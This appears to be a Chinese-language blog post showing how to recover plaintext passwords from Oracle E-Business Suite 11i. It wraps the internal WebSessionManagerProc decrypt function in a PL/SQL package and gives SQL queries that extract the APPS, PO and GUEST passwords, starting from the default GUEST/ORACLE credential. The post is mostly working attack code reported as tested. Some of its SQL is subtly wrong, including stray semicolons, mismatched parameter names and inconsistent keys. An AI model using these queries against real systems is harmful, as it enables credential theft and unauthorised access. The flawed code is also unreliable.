取得EBS帳號用戶密碼

EBS 11i有個方法可以破解EBS帳號的密碼,網路上已有許多的文章都有提到,今天依據這些方法測試一下,
果然可以順利取得EBS帳號用戶的密碼。

EBS使用的加解密JAVA函數:

    加密函數:第一個參數是「金鑰」;第二個參數是「密碼明文」,傳回加密後字串
    oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String

    解密函數:第一個參數是「金鑰」;第二個參數是「加密後字串」,傳回密碼明文
    oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String

撰寫加解密的Package
    CREATE OR REPLACE package APPS.pk_password_use authid current_user as
        --加密函數
        function encrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
        --解密函數
        function decrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
    end;
    /

    CREATE OR REPLACE package body APPS.pk_password_use as
        function encrypt(key in Varchar2, value in Varchar2) return Varchar2 as
              language java name 'oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String';
        function decrypt(key in Varchar2, value in Varchar2) return Varchar2 as
              language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    end;
     /

取得APPS的密碼(任一個User/Password都可以取得)。

    --測試的結果的確可以取得APPS的密碼。
     --不用管fnd_user_view取出來的加密字串是什麼,只要USER/Password正確就可以了
    select APPS.pk_password_use.decrypt('GUEST/ORACLE',
        (select encrypted_foundation_password
                from apps.fnd_user_view
                where user_name='GUEST')) pwd
    from dual;


取得DB帳號PO的密碼。

    --前提是要有APPS密碼,假設密碼是APPS123。
    select APPS.pk_password_use.decrypt('APPS',
        (select encrypted_oracle_password
            from fnd_oracle_userid
            where oracle_username = 'PO';)) pwd
    from dual;
   
取得APP帳號GUEST的密碼。

    --前提是要有APPS密碼,假設密碼是APPS123。
    select APPS.pk_password_use.decrypt('APPS',
        (select encrypted_oracle_password
            from fnd_user
            where oracle_username = 'GUEST';)) pwd
    from dual;